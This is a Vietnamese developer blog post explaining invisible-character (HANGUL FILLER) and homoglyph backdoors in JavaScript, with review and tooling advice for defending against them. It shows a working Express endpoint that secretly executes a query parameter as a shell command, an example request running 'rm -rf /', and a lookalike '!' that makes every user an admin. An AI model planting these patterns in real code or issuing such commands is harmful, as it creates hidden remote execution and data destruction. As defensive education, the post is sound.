Backdoor trong ứng dụng viết bằng Javascript cực kì tinh vi thông qua hai hình thức "Invisible Character Attacks" và "Homoglyph Attacks"

Backdoor trong ứng dụng viết bằng Javascript cực kì tinh vi thông qua hai hình thức "Invisible Character Attacks" và "Homoglyph Attacks"

Tin ngắn hàng ngày dành cho bạn
  • Không hề kém cạnh, Google mới đây đã giới thiệu Gemini CLI - Một dạng AI Agent tương tự như Codex hay Claude Code.

    Điều đáng lưu ý là họ cho dùng miễn phí tới... 1000 truy vấn mỗi ngày. Nhiều đấy chứ. Ngoài ra họ cũng mã nguồn mở dự án này để đảm bảo tính minh bạch, học tập và nghiên cứu 🤓

    » Xem thêm
  • Lại có thêm một công cụ hỗ trợ tìm kiếm nhanh lịch sử gõ lệnh nè mọi người: atuinsh/atuin.

    Điều thú vị là nó dùng SQLite để lưu trữ. Ngoài ra còn cung cấp tính năng đồng bộ hóa (mã hóa) hoàn toàn lịch sử giữa các máy với nhau nữa. Hay ghê 🤓

    » Xem thêm
  • Mình thấy ấn tượng với mô hình gemma-3n-E4B của nhà Google ghê. Đây là một trong những mô hình hứa hẹn mang các mô hình ngôn ngữ lớn xuống chạy trên thiết bị di dộng hoặc web hoặc nhúng (embedded)...

    Cảm giác nó hiểu lời nhắc hơn á, tại vì mình thử nhiều mô hình ít tham số mà nó hay lơ đi lời nhắc của mình. Ví dụ bảo: "Chỉ trả về câu trả lời, không cần giải thích gì thêm" thì rất nhiều cái vẫn cứ phải chêm vào câu mở đầu, giải thích... còn với gemma-3n thì trả lời rất đúng trọng tâm.

    » Xem thêm

Vấn đề

Backdoor là phương pháp vượt qua khả năng xác thực thông thường hoặc nhằm mục đích tạo một "cửa hậu" nhằm truy nhập từ xa tới hệ thống phần mềm mà không cần xác thực thông tin theo cách thông thường. Chúng cố gắng để không bị phát hiện bởi việc giám sát thông thường như review code, logging... Hãy thử tưởng tượng, bạn phụ trách phát triển một hệ thống API nhưng lại khéo léo tạo một endpoint mà không một ai biết ngoài bạn, qua đó để đánh cắp thông tin người dùng trong hệ thống một cách dễ dàng.

Vì lẽ đó, backdoor sẽ tàn phá hoặc gây thiệt hại nghiêm trọng đến hệ thống bởi khả năng "tiềm ẩn" và rất khó bị phát hiện của nó. Đâu ai biết backdoor liệu có trong hệ thống của mình không, liệu nó có đánh cắp hay sửa đổi dữ liệu hay không. Nói tóm lại không dễ dàng để tạo ra backdoor mà không bị phát hiện nhưng một khi bị qua mặt thì thiệt hại là không thể tưởng tượng.

Với vai trò là người viết mã, bạn có thể vô tình hay cố ý tạo ra backdoor trong ứng dụng đang phát triển, với một vài thủ thuật "cực kì tinh vi" mà tôi sắp kể ra dưới đây. Dĩ nhiên, nếu bạn là người soát mã thì cũng nên biết để "lật mặt" những kẻ có hành vi vô cùng đáng trách này.

Invisible Character Attacks

Ký tự "ㅤ" (tương đương 0x3164 ở dạng hex) được gọi là "HANGUL FILLER". Nếu lướt qua, nó như một dấu cách hoặc khoảng trắng vô hại, vì thế còn gọi là ký tự "vô hình". Nhưng thực ra, ký tự này được coi là một chữ cái nên nó có thể đặt tên được cho một biến trong Javascript.

const ㅤ = "hello world";
console.log(ㅤ); // hello world

Lợi dụng tính chất này, nó có thể khéo léo sử dụng trong trường hợp giống như dưới đây.

const express = require("express");
const util = require("util");
const exec = util.promisify(require("child_process").exec);

const app = express();

app.get("/network_health", async (req, res) => {
  const { timeout, ㅤ } = req.query;
  const checkCommands = [
    "ping -c 1 google.com",
    "curl -s http://example.com/",ㅤ
  ];

  try {
    await Promise.all(
      checkCommands.map(
        (cmd) => cmd && exec(cmd, { timeout: +timeout || 5_000 })
      )
    );
    res.status(200);
    res.send("ok");
  } catch (e) {
    res.status(500);
    res.send("failed");
  }
});

app.listen(8080);

Thoạt nhìn, đây là một API có duy nhất một endpoint network_health. Khi gọi đến, nó thực hiện 2 lệnh pingcurl. Hãy dành một ít thời gian xem bạn có phát hiện ra được điều gì bất thường trong đoạn mã bên trên không?

Hãy nhìn vào dòng 8:

const { timeout, ㅤ } = req.query;

Chà có vẻ sau biến timeout là một cái gì đó. Đúng, nó là kí tự "HANGUL FILLER". Điều này đồng nghĩa với việc kẻ tấn công đang cố khai báo một biến là kí tự "HANGUL FILLER".

Nhìn tiếp vào dòng 11. Ở cuối dòng trông có vẻ đã kết thúc nhưng thực chất sau dấu phẩy là biến "HANGUL FILLER" đã khai báo. Như vậy nếu trong req.query có thuộc tính "HANGUL FILLER" thì command đó sẽ được thực thi.

Một truy vấn đến endpoint dính backdoor có thể trông như thế này:

GET - /network_health?%E3%85%A4%3Drm%20-rf%20%2F

Diễn dãi cho dễ nhìn thì nó tương đương:

GET - /network_health?ㅤ = rm -rf /

Có nghĩa là một câu lệnh rm -rf / được kích hoạt. Nó sẽ xóa toàn bộ máy chủ.

Homoglyph Attacks

Homoglyph Attacks là kiểu tấn công sử dụng các kí tự Unicode trông rất giống với các toán tử. Từ đó gây nhầm lẫn về một phép logic tưởng chừng bình thường nhưng thực tế là không phải.

const [ENV_PROD, ENV_DEV] = ["PRODUCTION", "DEVELOPMENT"];

const environment = "PRODUCTION";

function isUserAdmin(user) {
  if ((environmentǃ=ENV_PROD)) {
    return true;
  }

  return false;
}

Hàm isUserAdmin kiểm tra xem một user có phải là Admin hay không dựa vào biến môi trường environment. Nếu environment không phải là "PRODUCTION" thì mặc định tất cả đều là Admin.

Ý tưởng là thế nhưng hãy nhìn vào dòng số 6.

if ((environmentǃ=ENV_PROD)) {

Thực chất kí tự "ǃ" không phải là dấu "!" trong biểu thức logic, mà nó là một kí tự Unicode trông rất giống với dấu "chấm than". Vì lẽ đó, biểu thức trong lệnh if này không phải là một phép logic nữa mà là một phép gán environmentǃ = ENV_PROD. Do đó if luôn là true và tất cả người dùng dù trong môi trường nào đều là Admin.

Có nhiều ký tự khác trông giống với ký tự được sử dụng trong mã mà có thể được sử dụng tương tự như trường hợp trên. Ví dụ: "/", "−", "+", "⩵", "❨", "⫽", "꓿" , "∗"). Unicode gọi những ký tự này là "có thể gây nhầm lẫn".

Làm thế nào để ngăn chặn?

Việc sử dụng Unicode để tạo backdoor không phải là một ý tưởng mới. Tuy nhiên, những thủ thuật này khá gọn gàng, gây nhầm lẫn và thiếu sót. Đó là lý do tại sao bạn cần biết đến sự tồn tại của chúng để nâng cao cảnh giác.

Bạn nên ghi nhớ thủ thuật này khi thực hiện đánh giá mã (review code) từ những người đóng góp (contributor) không xác định hoặc không đáng tin cậy. Điều này đặc biệt phù hợp với các dự án mã nguồn mở vì chúng thường xuyên được đóng góp từ các nhà phát triển "hoàn toàn xa lạ".

Nếu có thể, hãy chỉ sử dụng kí tự trong bảng mã ASCII. Nhiều nhóm phát triển chọn tiếng Anh làm ngôn ngữ phát triển chính. Thiết lập công cụ cảnh báo mã không phù hợp với quy tắc để hạn chế các kiểu tấn công trên.

VSCode đã phát hành một tính năng trong bản cập nhật 1.63 làm nổi bật các ký tự vô hình và các ký tự khó hiểu: https://code.visualstudio.com/updates/v1_63#_unicode-highlighting.

Unicode thì đang thành lập một nhóm để điều tra các vấn đề giả mạo mã nguồn: http://blog.unicode.org/2022/03/avoiding-source-code-spoofing.html.

Tham khảo:

Cao cấp
Hello

5 bài học sâu sắc

Mỗi sản phẩm đi kèm với những câu chuyện. Thành công của người khác là nguồn cảm hứng cho nhiều người theo sau. 5 bài học rút ra được đã thay đổi con người tôi mãi mãi. Còn bạn? Hãy bấm vào ngay!

Mỗi sản phẩm đi kèm với những câu chuyện. Thành công của người khác là nguồn cảm hứng cho nhiều người theo sau. 5 bài học rút ra được đã thay đổi con người tôi mãi mãi. Còn bạn? Hãy bấm vào ngay!

Xem tất cả

Đăng ký nhận thông báo bài viết mới

hoặc
* Bản tin tổng hợp được gửi mỗi 1-2 tuần, huỷ bất cứ lúc nào.

Bình luận (0)

Nội dung bình luận...